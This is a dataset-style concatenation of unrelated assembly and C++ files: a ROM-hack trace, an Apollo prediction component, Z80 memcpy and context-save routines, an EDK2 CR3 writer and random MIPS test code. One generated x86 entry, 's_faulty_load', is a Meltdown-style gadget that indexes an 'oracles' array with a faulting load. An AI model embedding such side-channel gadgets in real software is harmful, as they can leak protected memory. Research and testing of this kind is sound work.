text stringlengths 1 1.05M |
|---|
copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
003D4C move.w (A1)+, ($a8,A0) [enemy+AA]
003D50 move.w (A1), ($82,A0) [enemy+A8]
003DC2 move.w (A2)+, ($a8,A0) [enemy+AA]
003DC6 move.w (A2)+, D1 [enemy+A8]
003EA6 move.w ($82,A0), D1 [enemy+A8]
003EC0 moveq #$0, D0 [enemy+A8]
0122A0 move.l (A2)+, (A3)+ [enemy+A4, enemy+A6]
0122A2 move.l (A2)+, (A3)+ [enemy+A8, enemy+AA]
01A75E dbra D4, $1a75c
copyright zengfr site:http://github.com/zengfr/romhack
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/prediction/prediction_component.h"
#include <algorithm>
#include <vector>
#include "cyber/common/file.h"
#include "cyber/record/record_reader.h"
#include "modules/common/adapters/adapter_gflags.h"
#include "modules/common/util/message_util.h"
#include "modules/prediction/common/feature_output.h"
#include "modules/prediction/common/junction_analyzer.h"
#include "modules/prediction/common/prediction_gflags.h"
#include "modules/prediction/common/prediction_system_gflags.h"
#include "modules/prediction/common/validation_checker.h"
#include "modules/prediction/evaluator/evaluator_manager.h"
#include "modules/prediction/predictor/predictor_manager.h"
#include "modules/prediction/proto/offline_features.pb.h"
#include "modules/prediction/scenario/scenario_manager.h"
#include "modules/prediction/util/data_extraction.h"
namespace apollo {
namespace prediction {
using apollo::common::adapter::AdapterConfig;
using apollo::common::time::Clock;
using apollo::localization::LocalizationEstimate;
using apollo::perception::PerceptionObstacle;
using apollo::perception::PerceptionObstacles;
using apollo::planning::ADCTrajectory;
PredictionComponent::~PredictionComponent() {}
std::string PredictionComponent::Name() const {
return FLAGS_prediction_module_name;
}
void PredictionComponent::OfflineProcessFeatureProtoFile(
const std::string& features_proto_file_name) {
auto obstacles_container_ptr =
ContainerManager::Instance()->GetContainer<ObstaclesContainer>(
AdapterConfig::PERCEPTION_OBSTACLES);
obstacles_container_ptr->Clear();
Features features;
apollo::cyber::common::GetProtoFromBinaryFile(features_proto_file_name,
&features);
for (const Feature& feature : features.feature()) {
obstacles_container_ptr->InsertFeatureProto(feature);
Obstacle* obstacle_ptr = obstacles_container_ptr->GetObstacle(feature.id());
EvaluatorManager::Instance()->EvaluateObstacle(obstacle_ptr);
}
}
bool PredictionComponent::Init() {
component_start_time_ = Clock::NowInSeconds();
if (!MessageProcess::Init()) {
return false;
}
planning_reader_ = node_->CreateReader<ADCTrajectory>(
FLAGS_planning_trajectory_topic, nullptr);
localization_reader_ =
node_->CreateReader<localization::LocalizationEstimate>(
FLAGS_localization_topic, nullptr);
prediction_writer_ =
node_->CreateWriter<PredictionObstacles>(FLAGS_prediction_topic);
return true;
}
bool PredictionComponent::Proc(
const std::shared_ptr<PerceptionObstacles>& perception_obstacles) {
if (FLAGS_prediction_test_mode &&
(Clock::NowInSeconds() - component_start_time_ >
FLAGS_prediction_test_duration)) {
ADEBUG << "Prediction finished running in test mode";
}
// Update relative map if needed
if (FLAGS_use_navigation_mode && !PredictionMap::Ready()) {
AERROR << "Relative map is empty.";
return false;
}
frame_start_time_ = Clock::NowInSeconds();
auto end_time1 = std::chrono::system_clock::now();
// Read localization info. and call OnLocalization to update
// the PoseContainer.
localization_reader_->Observe();
auto ptr_localization_msg = localization_reader_->GetLatestObserved();
if (ptr_localization_msg == nullptr) {
AERROR << "Prediction: cannot receive any localization message.";
return false;
}
auto localization_msg = *ptr_localization_msg;
MessageProcess::OnLocalization(localization_msg);
auto end_time2 = std::chrono::system_clock::now();
std::chrono::duration<double> diff = end_time2 - end_time1;
ADEBUG << "Time for updating PoseContainer: " << diff.count() * 1000
<< " msec.";
// Read planning info. of last frame and call OnPlanning to update
// the ADCTrajectoryContainer
planning_reader_->Observe();
auto ptr_trajectory_msg = planning_reader_->GetLatestObserved();
if (ptr_trajectory_msg != nullptr) {
auto trajectory_msg = *ptr_trajectory_msg;
MessageProcess::OnPlanning(trajectory_msg);
}
auto end_time3 = std::chrono::system_clock::now();
diff = end_time3 - end_time2;
ADEBUG << "Time for updating ADCTrajectoryContainer: " << diff.count() * 1000
<< " msec.";
// Get all perception_obstacles of this frame and call OnPerception to
// process them all.
auto perception_msg = *perception_obstacles;
PredictionObstacles prediction_obstacles;
MessageProcess::OnPerception(perception_msg, &prediction_obstacles);
auto end_time4 = std::chrono::system_clock::now();
diff = end_time4 - end_time3;
ADEBUG << "Time for updating PerceptionContainer: " << diff.count() * 1000
<< " msec.";
// Postprocess prediction obstacles message
prediction_obstacles.set_start_timestamp(frame_start_time_);
prediction_obstacles.set_end_timestamp(Clock::NowInSeconds());
prediction_obstacles.mutable_header()->set_lidar_timestamp(
perception_msg.header().lidar_timestamp());
prediction_obstacles.mutable_header()->set_camera_timestamp(
perception_msg.header().camera_timestamp());
prediction_obstacles.mutable_header()->set_radar_timestamp(
perception_msg.header().radar_timestamp());
prediction_obstacles.set_perception_error_code(perception_msg.error_code());
if (FLAGS_prediction_test_mode) {
for (auto const& prediction_obstacle :
prediction_obstacles.prediction_obstacle()) {
for (auto const& trajectory : prediction_obstacle.trajectory()) {
for (auto const& trajectory_point : trajectory.trajectory_point()) {
if (!ValidationChecker::ValidTrajectoryPoint(trajectory_point)) {
AERROR << "Invalid trajectory point ["
<< trajectory_point.ShortDebugString() << "]";
break;
}
}
}
}
}
auto end_time5 = std::chrono::system_clock::now();
diff = end_time5 - end_time1;
ADEBUG << "End to end time elapsed: " << diff.count() * 1000 << " msec.";
// Publish output
common::util::FillHeader(node_->Name(), &prediction_obstacles);
prediction_writer_->Write(
std::make_shared<PredictionObstacles>(prediction_obstacles));
return true;
}
} // namespace prediction
} // namespace apollo
|
; ===============================================================
; Dec 2013
; ===============================================================
;
; void *memcpy(void * restrict s1, const void * restrict s2, size_t n)
;
; Copy n chars from s2 to s1, return s1.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_string
PUBLIC asm_memcpy
PUBLIC asm0_memcpy, asm1_memcpy
asm_memcpy:
; enter : bc = size_t n
; hl = void *s2 = src
; de = void *s1 = dst
;
; exit : hl = void *s1 = dst
; de = ptr in s1 to one byte past last byte copied
; bc = 0
; carry reset
;
; uses : af, bc, de, hl
IF (__CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_MEMCPY)
ld a,b
or a
jr nz, big
or c
jr z, zero_n
push de
EXTERN l_ldi_loop_small
call l_ldi_loop_small
pop hl
or a
ret
big:
push de
EXTERN l_ldi_loop_0
call l_ldi_loop_0
pop hl
or a
ret
asm0_memcpy:
push de
call l_ldi_loop
pop hl
or a
ret
ELSE
ld a,b
or c
jr z, zero_n
asm0_memcpy:
push de
IF __CPU_INTEL__ || __CPU_GBZ80__
loop:
IF __CPU_GBZ80__
ld a,(hl+)
ELSE
ld a,(hl)
inc hl
ENDIF
ld (de),a
inc de
dec bc
ld a,b
or c
jr nz,loop
ELSE
ldir
ENDIF
pop hl
or a
ret
ENDIF
asm1_memcpy:
zero_n:
ld l,e
ld h,d
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rax
push %rbp
push %rcx
lea addresses_WC_ht+0x170fd, %r15
nop
add $8890, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
and $0xffffffffffffffc0, %r15
movaps %xmm0, (%r15)
nop
nop
sub $31633, %rbp
pop %rcx
pop %rbp
pop %rax
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_WC+0x1151d, %rsi
nop
nop
and %r13, %r13
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%rsi)
nop
nop
nop
add %rdx, %rdx
// Store
lea addresses_WT+0x1025d, %r8
nop
nop
nop
nop
nop
inc %r11
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
movups %xmm0, (%r8)
nop
nop
dec %rbx
// Faulty Load
lea addresses_UC+0x14add, %r11
nop
nop
nop
nop
add $53094, %rbx
mov (%r11), %si
lea oracles, %r11
and $0xff, %rsi
shlq $12, %rsi
mov (%r11,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 7}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
;*************************************************************************
; arch/z80/src/z80/z80_saveusercontext.asm
;
; Copyright (C) 2007-2009 Gregory Nutt. All rights reserved.
; Author: Gregory Nutt <gnutt@nuttx.org>
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; 3. Neither the name NuttX nor the names of its contributors may be
; used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
; COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;*************************************************************************
;*************************************************************************
; Constants
;*************************************************************************
; Register save area layout
.globl XCPT_I ; Offset 0: Saved I w/interrupt state in parity
.globl XCPT_BC ; Offset 1: Saved BC register
.globl XCPT_DE ; Offset 2: Saved DE register
.globl XCPT_IX ; Offset 3: Saved IX register
.globl XCPT_IY ; Offset 4: Saved IY register
.globl XCPT_SP ; Offset 5: Offset to SP at time of interrupt
.globl XCPT_HL ; Offset 6: Saved HL register
.globl XCPT_AF ; Offset 7: Saved AF register
.globl XCPT_PC ; Offset 8: Offset to PC at time of interrupt
; Stack frame
FRAME_IY == 0 ; Location of IY on the stack
FRAME_IX == 2 ; Location of IX on the stack
FRAME_RET == 4 ; Location of return address on the stack
FRAME_REGS == 6 ; Location of reg save area on stack
SP_OFFSET == 6
;*************************************************************************
; Name: z80_saveusercontext
;*************************************************************************
.area _CODE
_z80_saveusercontext:
; Set up a stack frame
push ix ; Save IX and IY
push iy
ld ix, #0
add ix, sp ; IX = stack frame
; Fetch the address of the save area
ld e, FRAME_REGS(ix) ; HL = save area address
ld d, FRAME_REGS+1(ix) ;
ld iy, #0
add iy, de ; IY = save area address
; Then save the registers
; Save the current interrupt state at offset 0
ld a, i ; Get interrupt state
push af
pop hl
ld XCPT_I(iy), l ; Offset 0: I w/interrupt state in parity
ld XCPT_I+1(iy), h
; Save BC at offset 1
ld XCPT_BC(iy), c ; Offset 1: BC
ld XCPT_BC+1(iy), b
; DE is not preserved (offset 2)
; Save IX at offset 3
ld l, FRAME_IX(ix) ; HL = Saved value of IX
ld h, FRAME_IX+1(ix) ;
ld XCPT_IX(iy), l ; Offset 3: IX
ld XCPT_IX+1(iy), h ;
; Save IY at offset 4
ld l, FRAME_IY(ix) ; HL = Saved value of IY
ld h, FRAME_IY+1(ix) ;
ld XCPT_IY(iy), l ; Offset 4: IY
ld XCPT_IY+1(iy), h
; Save that stack pointer as it would be upon return in offset 5
ld hl, #SP_OFFSET ; Value of stack pointer on return
add hl, sp
ld XCPT_SP(iy), l ; Offset 5 SP
ld XCPT_SP+1(iy), h
; HL is saved as the value 1 at offset 6
xor a ; A = 0
ld XCPT_HL+1(iy), a ; Offset 2: HL on return (=1)
inc a ; A = 1
ld XCPT_HL(iy), a ;
; AF is not preserved (offset 7)
; Save the return address in offset 8
ld l, FRAME_RET(ix) ; HL = Saved return address
ld h, FRAME_RET+1(ix) ;
ld XCPT_PC(iy), l ; Offset 8: PC
ld XCPT_PC+1(iy), h
; Return the value 0
xor a ; HL = return value of zero
ld l, a
ld h, a
pop iy
pop ix
ret
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteCr3.Asm
;
; Abstract:
;
; AsmWriteCr3 function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmWriteCr3 (
; UINTN Cr3
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmWriteCr3)
ASM_PFX(AsmWriteCr3):
mov cr3, rcx
mov rax, rcx
ret
|
ori $ra,$ra,0xf
sb $0,8($0)
mult $3,$3
div $1,$ra
addu $1,$1,$4
mflo $1
divu $3,$ra
sll $6,$6,6
ori $2,$2,2850
mflo $3
sll $1,$1,8
ori $6,$2,42855
addu $2,$2,$2
ori $4,$1,39754
lb $3,10($0)
sll $4,$4,6
lb $4,0($0)
sb $4,12($0)
mtlo $4
addu $4,$5,$5
sll $4,$2,21
sll $5,$6,11
ori $1,$2,1607
ori $4,$4,63118
addiu $6,$6,-30035
divu $4,$ra
addiu $0,$5,-25372
mfhi $5
sll $2,$2,15
addiu $5,$0,-14434
sb $1,12($0)
addu $0,$4,$0
addiu $5,$1,-10595
div $6,$ra
sll $1,$0,31
addu $4,$5,$4
divu $2,$ra
addiu $4,$2,22773
mult $4,$1
lui $5,3860
divu $3,$ra
mthi $6
lui $5,63121
mflo $2
div $4,$ra
mtlo $1
lui $5,64281
sll $5,$6,5
lb $0,5($0)
mult $5,$5
addiu $0,$2,3035
lui $3,4157
mfhi $4
lui $1,64823
addu $6,$6,$6
sb $6,5($0)
div $5,$ra
mflo $4
addu $1,$5,$5
sll $1,$4,0
mult $1,$1
divu $4,$ra
mflo $1
srav $5,$5,$5
divu $4,$ra
lb $0,12($0)
addu $1,$4,$3
ori $5,$4,57729
ori $1,$1,52407
mtlo $5
mthi $4
mtlo $1
div $4,$ra
addu $4,$4,$2
addu $0,$5,$2
mult $1,$1
sll $5,$2,6
mflo $4
srav $4,$1,$0
multu $6,$1
sb $5,15($0)
lb $4,9($0)
srav $5,$4,$2
multu $4,$4
mfhi $0
mtlo $1
addu $2,$2,$4
mfhi $1
addu $6,$2,$4
ori $1,$4,15379
mfhi $1
lb $2,11($0)
mult $2,$2
mthi $5
srav $2,$4,$2
addiu $5,$6,17876
srav $6,$1,$5
lui $0,14378
sb $4,11($0)
div $3,$ra
ori $4,$4,744
lb $4,11($0)
multu $1,$6
mflo $0
multu $2,$1
sb $5,15($0)
lb $4,12($0)
mfhi $5
lb $6,0($0)
sb $2,2($0)
lb $6,16($0)
addiu $4,$4,9747
lui $5,41006
mult $1,$4
lui $6,6790
mthi $4
addu $4,$4,$3
sb $6,12($0)
ori $1,$1,4455
mflo $5
mflo $4
mfhi $2
lb $4,11($0)
addiu $4,$1,-19576
srav $4,$6,$2
sb $3,5($0)
mult $4,$0
sll $4,$4,1
mfhi $5
mtlo $4
mflo $3
srav $4,$5,$2
sll $4,$2,31
sll $5,$0,5
ori $4,$1,17183
srav $4,$4,$4
mult $6,$6
ori $0,$4,52669
sll $1,$2,9
mtlo $4
ori $6,$4,33673
sb $3,11($0)
addiu $3,$3,12406
multu $1,$6
mult $5,$0
mfhi $0
lui $4,49328
ori $4,$6,19662
multu $5,$4
ori $4,$6,57358
mthi $2
div $1,$ra
mthi $6
sll $3,$3,8
divu $5,$ra
multu $0,$0
mthi $1
multu $4,$5
divu $0,$ra
ori $1,$1,16012
mflo $5
multu $5,$4
mult $2,$2
lui $0,61748
div $5,$ra
divu $0,$ra
mtlo $4
sb $2,6($0)
mthi $2
sb $4,8($0)
mfhi $4
addu $5,$3,$3
mult $2,$2
mthi $5
lui $2,30532
lui $1,12073
sll $4,$5,3
srav $5,$4,$0
multu $2,$2
mflo $4
div $5,$ra
div $6,$ra
sb $5,2($0)
sb $1,6($0)
lb $5,15($0)
mfhi $5
lui $4,20424
lui $3,50637
sb $1,14($0)
lb $0,4($0)
sb $1,4($0)
addu $0,$4,$5
mtlo $6
mflo $4
mfhi $2
mflo $3
addiu $1,$4,27359
sll $2,$0,15
mtlo $5
div $0,$ra
lb $4,5($0)
multu $4,$4
addu $1,$1,$1
mthi $1
multu $4,$1
sb $2,0($0)
sll $6,$6,16
sb $1,1($0)
lb $5,11($0)
mflo $5
mflo $1
divu $4,$ra
addu $5,$5,$5
mfhi $4
mfhi $4
mtlo $4
mtlo $0
mflo $5
mfhi $4
multu $4,$0
divu $6,$ra
sll $5,$5,13
ori $4,$0,31513
srav $0,$4,$4
sb $3,15($0)
mthi $4
srav $4,$5,$3
lb $4,1($0)
ori $1,$4,57507
mflo $1
ori $2,$2,27352
lb $1,13($0)
srav $1,$5,$5
lb $2,16($0)
sb $5,8($0)
mflo $4
sb $3,7($0)
div $0,$ra
lui $4,41655
mthi $5
addiu $1,$2,-3598
sb $4,7($0)
lui $4,37336
mult $6,$2
lb $5,11($0)
ori $5,$5,63855
sll $5,$4,22
sll $1,$3,26
ori $1,$3,4948
srav $1,$1,$3
mfhi $2
lb $3,12($0)
multu $5,$5
lb $6,15($0)
mthi $6
sll $4,$1,9
sb $1,4($0)
lui $4,43528
lui $1,23912
sll $4,$4,27
mtlo $6
divu $5,$ra
divu $5,$ra
multu $3,$5
srav $6,$5,$1
multu $3,$3
lb $1,12($0)
mfhi $4
mtlo $4
div $0,$ra
mtlo $3
mflo $6
srav $4,$2,$3
div $1,$ra
multu $0,$1
mthi $4
mthi $4
multu $4,$6
ori $3,$3,4296
multu $1,$2
mflo $5
addiu $5,$4,9999
lb $5,14($0)
addu $2,$2,$2
div $6,$ra
addu $4,$1,$4
div $1,$ra
div $5,$ra
addiu $5,$6,-4335
lb $1,5($0)
mthi $3
divu $4,$ra
srav $6,$1,$6
sb $5,4($0)
sll $4,$5,24
mtlo $0
srav $0,$4,$4
ori $1,$5,51416
sll $4,$5,2
divu $0,$ra
mflo $2
sll $6,$4,24
mtlo $1
mult $1,$4
mflo $5
addu $0,$0,$5
mfhi $2
sll $1,$2,22
mtlo $1
mfhi $6
mthi $4
multu $4,$0
mflo $4
sb $4,1($0)
sll $5,$1,22
mflo $1
mult $4,$2
sll $2,$2,27
addiu $3,$5,-23342
mtlo $4
addu $1,$0,$5
multu $4,$4
div $1,$ra
multu $4,$4
sb $1,0($0)
addiu $4,$4,24980
lb $1,10($0)
addiu $6,$6,3533
lb $5,11($0)
mfhi $5
divu $1,$ra
lui $6,958
sll $6,$2,10
mult $2,$2
mtlo $4
addu $4,$4,$4
divu $3,$ra
lb $4,0($0)
lui $5,9544
addu $3,$3,$3
sll $1,$2,24
mthi $4
divu $2,$ra
srav $4,$4,$4
ori $5,$5,56759
addu $4,$2,$2
addiu $1,$2,230
divu $5,$ra
addu $0,$2,$1
mult $5,$5
mtlo $3
addu $0,$0,$1
srav $0,$4,$2
mflo $5
divu $0,$ra
mtlo $6
sb $0,4($0)
sll $4,$5,31
srav $4,$4,$4
mult $4,$5
addu $4,$0,$4
sll $2,$2,27
mult $5,$5
mfhi $1
sll $0,$6,16
addiu $1,$4,9692
addiu $6,$4,-25166
mflo $4
lb $1,6($0)
mfhi $4
mtlo $2
sb $1,0($0)
multu $2,$2
srav $5,$5,$5
mtlo $1
lb $1,11($0)
multu $6,$2
mtlo $4
srav $1,$4,$5
mult $2,$2
mfhi $0
mthi $1
sll $5,$5,14
srav $1,$4,$3
lb $3,2($0)
srav $5,$3,$3
ori $4,$4,62529
mult $4,$6
multu $1,$0
mthi $0
mflo $6
sll $4,$5,15
sll $4,$2,19
srav $4,$4,$1
divu $4,$ra
mfhi $3
multu $2,$2
mult $6,$6
sll $4,$5,31
sb $2,2($0)
multu $1,$4
mflo $0
mult $4,$4
lb $6,7($0)
div $2,$ra
sll $4,$1,5
mflo $5
lui $1,41569
multu $0,$2
lui $1,30218
mflo $4
sb $3,1($0)
lui $6,20062
lb $4,1($0)
srav $5,$5,$2
srav $3,$1,$3
div $6,$ra
lui $3,41658
lb $3,13($0)
divu $6,$ra
mtlo $1
sll $5,$3,15
addu $4,$5,$5
addiu $5,$4,-24278
mfhi $4
mtlo $1
mfhi $4
sll $4,$4,18
mult $4,$0
lui $5,31939
sb $5,0($0)
mflo $2
mtlo $3
lb $4,16($0)
addiu $6,$1,999
addiu $6,$5,-460
addu $3,$2,$3
mthi $0
lui $5,62181
mtlo $3
addu $5,$6,$6
mtlo $5
mfhi $2
div $2,$ra
div $1,$ra
mthi $1
lb $6,4($0)
sll $5,$5,24
lb $4,12($0)
mflo $1
mult $2,$2
lb $6,16($0)
mthi $1
mflo $4
mthi $4
mtlo $3
divu $6,$ra
mfhi $0
lui $0,7646
lui $5,8974
sll $3,$3,3
mthi $4
mflo $5
divu $1,$ra
lui $1,35552
addiu $5,$6,-22166
addu $3,$6,$3
ori $4,$4,32031
addu $1,$0,$1
srav $4,$5,$5
sb $5,10($0)
addu $5,$2,$4
mthi $1
srav $4,$4,$5
mthi $6
lb $5,16($0)
srav $4,$0,$4
lui $5,10385
srav $4,$6,$3
lb $5,11($0)
addu $3,$6,$3
div $1,$ra
ori $5,$0,11048
addiu $4,$4,-12589
srav $4,$1,$2
mflo $5
mflo $5
ori $3,$3,13835
srav $4,$5,$4
mfhi $0
sb $6,12($0)
srav $0,$0,$5
multu $6,$1
div $1,$ra
multu $6,$0
div $6,$ra
lui $0,15845
sb $3,14($0)
divu $6,$ra
addu $4,$3,$3
ori $1,$0,45147
addiu $4,$2,-12985
lb $4,12($0)
mflo $4
div $4,$ra
div $0,$ra
sll $4,$6,6
mflo $3
srav $4,$5,$5
multu $0,$4
mtlo $2
divu $6,$ra
mfhi $4
mtlo $4
mthi $6
addu $6,$1,$1
lui $2,47105
mthi $0
lui $3,17496
srav $3,$5,$3
lb $3,9($0)
addu $4,$2,$3
divu $4,$ra
divu $1,$ra
mult $1,$1
ori $1,$2,56748
addiu $4,$4,14693
mtlo $2
addu $6,$2,$2
addiu $0,$2,-7033
mflo $4
addu $0,$1,$2
mflo $0
divu $4,$ra
mult $1,$4
lb $6,6($0)
mult $0,$2
mflo $0
addiu $1,$5,-6533
sb $1,4($0)
div $0,$ra
divu $6,$ra
ori $0,$4,42292
mfhi $4
addiu $3,$3,-5601
mtlo $6
mtlo $1
mfhi $1
mfhi $5
mflo $5
divu $1,$ra
addu $3,$1,$3
divu $4,$ra
mtlo $5
div $0,$ra
mtlo $1
mfhi $5
sll $1,$1,20
addiu $6,$4,11027
divu $2,$ra
multu $4,$2
ori $0,$0,55506
multu $5,$2
sb $4,12($0)
mfhi $4
addiu $2,$2,-27831
mtlo $5
addu $3,$3,$3
sll $1,$2,29
multu $4,$1
div $4,$ra
addiu $5,$5,17601
sb $5,7($0)
lb $0,8($0)
srav $2,$2,$3
sb $1,15($0)
lui $4,63511
sb $2,1($0)
ori $4,$4,63514
srav $1,$2,$1
mflo $3
lb $4,15($0)
sb $4,5($0)
divu $3,$ra
mult $2,$2
mtlo $4
div $4,$ra
sll $3,$3,27
addu $2,$2,$2
sll $4,$2,14
mfhi $4
sb $4,3($0)
div $5,$ra
addu $6,$5,$3
divu $6,$ra
ori $4,$5,61026
multu $6,$2
div $4,$ra
ori $5,$5,61283
sb $4,15($0)
srav $6,$4,$6
addiu $5,$1,-2794
ori $5,$5,60004
sb $4,16($0)
srav $2,$2,$2
addiu $4,$2,-21448
mult $3,$5
multu $5,$5
multu $0,$2
mult $5,$2
addu $3,$3,$3
mthi $5
addiu $1,$2,-14845
mtlo $1
mflo $4
lui $6,12390
div $3,$ra
lui $5,38402
lui $0,877
mthi $1
divu $1,$ra
sll $5,$1,4
mflo $2
mflo $1
mflo $5
